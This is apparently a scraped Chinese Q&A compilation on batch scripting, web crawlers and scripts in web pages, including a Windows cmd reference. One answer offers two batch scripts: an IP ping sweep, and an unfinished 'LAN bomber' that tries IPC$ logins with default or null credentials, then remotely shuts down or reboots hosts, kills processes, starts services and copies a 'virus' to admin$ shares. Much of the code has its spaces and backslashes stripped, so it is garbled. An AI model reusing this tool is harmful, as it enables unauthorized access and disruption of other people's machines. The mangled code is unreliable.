當前位置:首頁 » 編程軟體 » 網址遍歷腳本

網址遍歷腳本

發布時間: 2023-02-26 06:54:01

『壹』 Windows cmd(bat) 腳本簡介

命令提示符是在 操作系統 中,提示進行命令輸入的一種工作提示符。在不同的操作系統環境下,命令提示符各不相同。在 windows 環境下,命令行程序為 cmd.exe,微軟 Windows 系統基於 Windows 上的命令解釋程序,類似於微軟的 DOS 操作系統 。

四種文件類別

命令不區分大小寫
在 Windows 系統中,所有的文件夾或者文件名、環境變數、命令都是 不區分大小寫 。據說但是是為了兼容 DOS,才沒有區分大小寫,後續就一直不區分了。

查看 windows 版本
winver

打開注冊表
regedit

打開計算器
calc

打開繪圖
mspaint

打開記事本
notepad

打開寫字板
wordpad

打開控制面板
control

打開遠程桌面 (Microsoft terminal services client)
mstsc

打開或關閉 Windows 功能
optionalfeatures

服務管理
services.msc

系統配置
msconfig.exe

防火牆
firewall.cpl

卸載或更改程序
appwiz.cpl

打開計算機管理
compmgmt.msc

打開電源選項
powercfg.cpl

打開 internet 選項
inetcpl.cpl

系統屬性
sysdm.cpl

顯示設置
desk.cpl

證書管理
certmgr.msc

添加硬體
hdwwiz.exe

關機
shutdown

dir

cd

tree
顯示目錄結構
tree d: #顯示D盤的文件目錄結構

日期和時間

文件/文件夾的重命名

復制文件

刪除文件是不經過回收站

刪除空文件夾

rmdir(rd):刪除非空文件夾且需要進行確認

刪除非空文件夾且不需要進行確認

重命名文件或者文件夾。(盡管引號不是強制性的,但如果當前名稱或新名稱中都有空格)

清屏
cls

顯示文件內容
type

網址/域名 :檢查當前網址是否連通 (註:會返回當前網址對應的IP地址和網路狀態)
ping

方法一:使用 ↑↓ 箭頭上下翻看執行過的命令,此方式適宜執行命令較少的情況;

方法二:使用快捷鍵:
F7: 快捷鍵查看所有執行過的命令
F3:調出上一條執行過的命令,調出後直接回車即可執行;
F8:搜索命令歷史記錄,和↑向上箭頭類似。
F9:按編號選擇命令,來調出執行過的命令:

方法三:doskey /HISTORY 顯示保存在內存中的所有命令

可搭配 more、findstr 命令進行使用:

doskey /HISTORY | more
doskey /HISTORY | findstr dir
doskey /HISTORY > d:123.txt 重定向到文件

後綴一般存儲為 bat, cmd 格式的文件。

創建文件:建議右鍵-新建文本文檔。建議選擇 gbk 中文編碼,換行選擇 。示例中我將文件存儲為 hello.bat。

使用方法:雙擊使用或在命令提示符中鍵入文件名。

設置 cmd 窗口的標題

輸出到屏幕

將參數1,參數2 輸入到命令行
hello.bat aaa bbb

說明:
%0 批處理文件本身
%1 第一個參數
...
%9 第九個參數

pause 就是暫停命令
pause > null 的作用是同樣的,區別是不顯示「請按任意鍵繼續. . .」這些字,nul 相當於空設備。

定義變數,注意等號左右不能加空格。

在批處理中 > 和 < 為重定向符號,這就意味著我們不能用 > 來表示大於,< 表示小於,也就意味著不能用 >=、<=、<> 來表示大於等於、小於等於、不等於,還好,在批處理中用了其他的操作符代替它們,這在"if /?"中有說明:

引用內容 引用內容

1. &
順序執行多條命令,而不管命令是否執行成功

2. &&
順序執行多條命令,當碰到執行出錯的命令後將不執行後面的命令

如果找到了"ok"字樣,就顯示"成功",找不到就不顯示

3. ||
順序執行多條命令,當碰到執行正確的命令後將不執行後面的命令

如果找不到"ok"字樣,就顯示"不成功",找到了就不顯示

5. 輸出重定向命令

> 清除文件中原有的內容後再寫入
>> 追加內容到文件末尾,而不會清除原有的內容

6. 管道操作符 |
clip 將內容復制到剪切板

dir 組合 clip 的用法示例

start 可以打開文件夾,文件,網址等

if 關鍵字和語句
1、if [NOT]"參數" == "字元串"
2、if [NOT] exist 文件名 待執行的命令
3、if [NOT] errorlevel 數字 待執行的命令
如果返回碼大於或者等於(或者小於,使用NOT)指定的數字,則條件成立,運行命令,否則運行下一句。DOS 程序運行時都會返回一個數字給 DOS,稱為錯誤碼 errorlevel 或稱返回碼。默認值為 0,一般命令執行出錯會設 errorlevel 為1。數字取值范圍 0~255。判斷時值的排列順序應該由大到小,否則會出現非期望的結果。

示例1:if 搭配 exist 進行使用,用於判斷某文件是否存在

原來的環境變數後加上英文狀態下的分號和路徑

set PATH=%PATH%;C:UserszhangsanDocumentswinrar-x64-580

setx PATH "%PATH%;D:Program Files"

該語句表示添加到用戶環境變數, 設置後對當前窗口不生效, 後續窗口都生效了.
(建議執行一次, 防止多試重復添加, 該威力巨大.
目前不知道怎麼刪除單項環境變數, 只能採取重新賦值的方式)

鍵入 "SETX /?" 了解用法信息。

切記:每個指令之間必須以空格隔開,in 與 ( 之間有空格,do 與 ( 間也有空格,否則命令會無法成功執行

[ ]:表示此項指令為可選
[參數]:參數取值一共有四種: /d, /r, /l, /f,加上無參數,所以一共五種場景
無參:遍歷當前路徑的文件夾下的文件,但也可在(匹配符)中指定路徑

批處理腳本遍歷指定文件夾下的文件_RuncX的技術博客_51CTO博客
https://blog.51cto.com/runcx/2465152

C:Usersferder>echo %date%
2022/07/02 周六

C:Usersferder>echo %time%
20:19:37.09

因此
提取年 %date:~0,4% 表示從左向右指針向右偏0位,然後從指針偏移到的位置開始提取4位字元,結果是2014
提取月 %date:~5,2%
提取日 %date:~8,2%

同理提取時間的時分秒為 %time:~0,2%%time:~3,2%%time:~6,2%

實戰操作:
md %date:~0,4%%date:~5,2%%date:~8,2%_%time:~0,2%%time:~3,2%%time:~6,2%

則是再當前目錄下創建一個空的文件夾。

DOS 批處理中的字元串處理詳解(字元串截取)
https://blog.csdn.net/xiaoding133/article/details/39253083

『貳』 python網路爬蟲可以幹啥

Python爬蟲開發工程師,從網站某一個頁面(通常是首頁)開始,讀取網頁的內容,找到在網頁中的其它鏈接地址,然後通過這些鏈接地址尋找下一個網頁,這樣一直循環下去,直到把這個網站所有的網頁都抓取完為止。如果把整個互聯網當成一個網站,那麼網路蜘蛛就可以用這個原理把互聯網上所有的網頁都抓取下來。

網路爬蟲(又被稱為網頁蜘蛛,網路機器人,在FOAF社區中間,更經常的稱為網頁追逐者),是一種按照一定的規則,自動的抓取萬維網信息的程序或者腳本。另外一些不常使用的名字還有螞蟻,自動索引,模擬程序或者蠕蟲。爬蟲就是自動遍歷一個網站的網頁,並把內容都下載下來

『叄』 求遍歷網段ip的shell腳本

是可以借鑒這裡面的一些東西而已,因為只要把這兩段小腳本中的一些東西結合起來可以達到你的要求(Windows環境中),不是要完全的照搬,呵呵。

shell不會玩,Windows下的bat還會點...

還有一點要在Windows中調用linux中的shell腳本啊?

應該不可能...或者很難!

在Windows下我才能做到,不過太費時間了,給你兩段現成的代碼,如果你有時間有興趣的話,可以在Windows下玩玩這代碼,你有興趣的話可以結合一下,然後再做一些修改就能達到你要的要求!

第一段:

@echooff

title掃描在線IP

::MODEcon:COLS=60LINES=18

color0a

::裝飾。

:kaishi

cls

for/l%%iin(1,1,4)doecho.

set/pqishi=起始IP:

set/pjieshu=終止IP:

IFERRORLEVEL1echo錯誤的IP地址格式!&&pause&&gotokaishi

echo.

::從鍵盤獲得兩個變數的值。

for/f"tokens=1-4delims=."%%ain("%qishi%")do(

if%%aLSS0gotoerror_2

if%%aGTR255gotoerror_2

if%%bLSS0gotoerror_2

if%%bGTR255gotoerror_2

if%%cLSS0gotoerror_2

if%%cGTR255gotoerror_2

if%%dLSS0gotoerror_2

if%%dGTR255gotoerror_2

setv1=%%a

setv2=%%b

setv3=%%c

setv4=%%d

)

::分離起始IP的四個段並賦值,判斷IP是否正確。

for/f"tokens=1-4delims=."%%ain("%jieshu%")do(

if%%aLSS0gotoerror_2

if%%aGTR255gotoerror_2

if%%bLSS0gotoerror_2

if%%bGTR255gotoerror_2

if%%cLSS0gotoerror_2

if%%cGTR255gotoerror_2

if%%dLSS0gotoerror_2

if%%dGTR255gotoerror_2

setv5=%%a

setv6=%%b

setv7=%%c

setv8=%%d

)

::分離終止IP的四個段並賦值,判斷IP是否正確。

IF%V5%LSS%V1%echo錯誤:終止IP不能小於起始IP。&pause&gotokaishi

::判斷終止IP與起始IP的正確性。

IF%V4%LEQ%V8%setzeng_1=1

IF%V4%GEQ%V8%setzeng_1=-1

IF%v3%LEQ%v7%setzeng_2=1

IF%V3%GEQ%V7%setzeng_2=-1

IF%v2%LEQ%v6%setzeng_3=1

IF%v2%GEQ%v6%setzeng_3=-1

for/L%%din(%v1%,1,%v5%)do(

for/L%%cin(%v2%,%zeng_3%,%v6%)do(

for/L%%bin(%v3%,%zeng_2%,%v7%)do(

for/L%%ain(%v4%,%zeng_1%,%v8%)do(

ping/n1%%d.%%c.%%b.%%a>nul&&echo%%d.%%c.%%b.%%aOK||echo%%d.%%c.%%b.%%aERROR

echo%%d.%%c.%%b.%%a

)

)

)

)

echo掃描完畢!

pause&gotokaishi

:error_2

echo錯誤的IP地址!

pause

gotokaishi

第二段(未編寫測試完):

@echooff

titleWin2k區域網轟炸器未完待續~す珹す~

color0a

:start

echo-------------------------------------------------------------------------------

echo收集信息中...&echo.

for/f"tokens=15"%%iin('ipconfig^|find/i"ipaddress"')dosetip=%%i

for/f"tokens=1,2,3delims=."%%iin('echo!ip!')dosetwd=%%i.%%j.%%k

echo你的IP地址是:!ip!

echo你所在的網段是:!wd!

echo.

echo---請選擇掃描在線主機的掃描方式---

echo1.ping2.netview3.exit註:直接按回車鍵使用默認方式!【ping測試】

set/pfs=請輸入:

if"%fs%"==""gotoping

if"%fs%"=="1"gotoping

if"%fs%"=="2"gotonetview

if"%fs%"=="3"exit

cls&gotostart

:ping

echo.

echo輸入需要掃描的IP范圍(不需輸網段)1至255之內結尾數不能小於起始數!

set/pqs=起始數:

set/pjs=結束數:

if!qs!gtr!js!echo起始數不能大於結束數!&&ping127.1/n2>nul2>nul&&gotoping

echo正在掃描!wd!.!qs!至!wd!.!js!范圍內的主機在線情況...

echo-------------------------------------------------------------------------------

for/l%%iin(!qs!,1,!js!)do(

ping!wd!.%%i/n1>nul2>nul&&echo!wd!.%%i在線!&&echo!wd!.%%i>>zx.txt||echo!wd!.%%i離線!

)

echo--------------------------------------------------------------------------------

gotoipc$scan

:netview

echo.

echo此區域網內在線主機:

echo-------------------------------------------------------------------------------

FOR/F"eol=-delims=\"%%cin('netview')do(

FOR/F"eol=服"%%iin('echo%%c')do(

FOR/F"eol=命"%%iin('echo%%c')do(

echo%%i&&echo%%i>>zx.txt

)

)

)

echo--------------------------------------------------------------------------------

gotoipc$scan

:ipc$scan

echo.

echo即將開始ipc$掃描...

echo.

ifnotexistzx.txtechosorry!此區域網中無在線主機,無法進行ipc$掃描!正在返回主菜單...&&ping127.1/n5>nul2>nul&&cls&&gotostart

echoipc$掃描時使用何用戶?註:直接按回車鍵使用默認用戶!【administrator】

echo要用空用戶(空鏈接)請輸入【null】

set/puser=請輸入:

if"!user!"==""setuser=administrator

if"!user!"=="null"setuser=

echoipc$掃描時使用何密碼?註:直接按回車鍵使用默認密碼!【空】

set/ppassword=請輸入:

if"!password!"==""setpassword=

echo.

echo你選擇的用戶為:!user!

echo你選擇的密碼為:!password!

ping127.1/n2>nul2>nul

echo.

echo正在掃描能ipc$連接的機子...

setipc$=0

for/f%%iin('typezx.txt')do(

echo-------------------------------------------------------------------------------

netuse\%%iipc$"!password!"/user:"!user!">nul&&(

set/aipc$=!ipc$!+1

echo連接%%i成功!

echo%%i>>ipc.txt

netuse\%%i/del>nul2>nul

)||(

echo連接%%i失敗!↑↑↑以上是錯誤提示!↑↑↑

)

)

echo--------------------------------------------------------------------------------

echo按任意鍵進入下一步!&pause>nul

:kill

cls

for/l%%iin(1,1,9)doecho.

echo掃描到!ipc$!台機器能ipc$連接成功!

for/l%%iin(1,1,3)doecho.

echo請問美麗的大姐您要怎麼捉弄他們?

echo.

echo1:關了他們2:重啟他們3:開啟服務

echo4:傳送病毒5:彈出消息6:關閉進程

echo.

set/pshr=請選擇:

if"!shr!"=="1"gotogj

if"!shr!"=="2"gotocq

if"!shr!"=="3"gotofw

if"!shr!"=="4"gotobd

if"!shr!"=="5"gotoxx

if"!shr!"=="6"gotojc

gotokill

:gj

for/f%%iin('typeipc.txt')do(

shutdown-m\%%i-s-t0

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:cq

for/f%%iin('typeipc.txt')do(

shutdown-m\%%i-r-t0

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:fw

set/pfwm=請輸入需要開啟的服務名:

::還需檢測路勁

for/f%%iin('typeipc.txt')do(

netstart\%%i!fwm!

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:bd

set/pbdm=請輸入要傳送的病毒的路徑:

for/f%%iin('typeipc.txt')do(

!bdm!\%%iadmin$

::還需開啟對方計劃任務服務運行病毒

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:xx

set/pxx=請輸入要彈出的消息:

for/f%%iin('typeipc.txt')do(

echo正在彈消息中...

sc\%%iconfigmessengerstart=auto>nul2>nul

sc\%%istartmessenger>nul2>nul

netsend%%i!xx!

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:jc

set/pjc=請輸入需要關閉的進程名:

for/f%%iin('typeipc.txt')do(

!bdm!\%%iadmin$

taskkill/s\%%i/f/im!jc!

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart1

pause

『肆』 怎麼在電腦上實現自動搜索網頁功能。比如我要搜索100.com到999.com需要什麼程序腳本來實現

首先你要用MutouDic工具生成所有的網址,然後將這些網址添加到軟體網頁自動刷新監控工具(PageRefresh)里邊,設置源碼監控,監控404代碼就可以了,只要包含404代碼的就是打不開的網站,反之就是可以打開的網站。

『伍』 在網頁中,怎麼用腳本

腳本通常可以由應用程序臨時調用並執行。各類腳本被廣泛地應用於網頁設計中,因為腳本不僅可以減小網頁的規模和提高網頁瀏覽速度,而且可以豐富網頁的表現,如動畫、聲音等。

當點擊網頁上的Email地址時能自動調用Outlook Express或Foxmail這類郵箱軟體,就是通過腳本功能來實現的。也正因為腳本的這些特點,往往被一些別有用心的人所利用。

例如在腳本中加入一些破壞計算機系統的命令,這樣當用戶瀏覽網頁時,一旦調用這類腳本,便會使用戶的系統受到攻擊。所以用戶應根據對所訪問網頁的信任程度選擇安全等級,特別是對於那些本身內容就非法的網頁,更不要輕易允許使用腳本。

通過「安全設置」對話框,選擇「腳本」選項下的各種設置就可以輕松實現對腳本的禁用和啟用。



(5)網址遍歷腳本擴展閱讀

網頁中的嵌入式腳本語言。熟知的HTML(Hyper Text Mark-up Language)即超文本標記語言,就是一種腳本語言,它的解釋器就是瀏覽器。

JavaScript直到現在仍然是網頁瀏覽器內的主要編程語言,它的ECMAScript標准化保證了它成為流行的通用嵌入式腳本語言。

另外,隨著動態網頁技術發展,ASP、JSP、PHP等嵌入網頁的腳本語言正被廣泛使用,不過這些腳本要通過Web Server解釋,而Html則被瀏覽器執行。

熱點內容
java返回this 發布:2025-10-20 08:28:16 瀏覽:746
製作腳本網站 發布:2025-10-20 08:17:34 瀏覽:1009
python中的init方法 發布:2025-10-20 08:17:33 瀏覽:715
圖案密碼什麼意思 發布:2025-10-20 08:16:56 瀏覽:876
怎麼清理微信視頻緩存 發布:2025-10-20 08:12:37 瀏覽:774
c語言編譯器怎麼看執行過程 發布:2025-10-20 08:00:32 瀏覽:1124
郵箱如何填寫發信伺服器 發布:2025-10-20 07:45:27 瀏覽:349
shell腳本入門案例 發布:2025-10-20 07:44:45 瀏覽:227
怎麼上傳照片瀏覽上傳 發布:2025-10-20 07:44:03 瀏覽:911
python股票數據獲取 發布:2025-10-20 07:39:44 瀏覽:873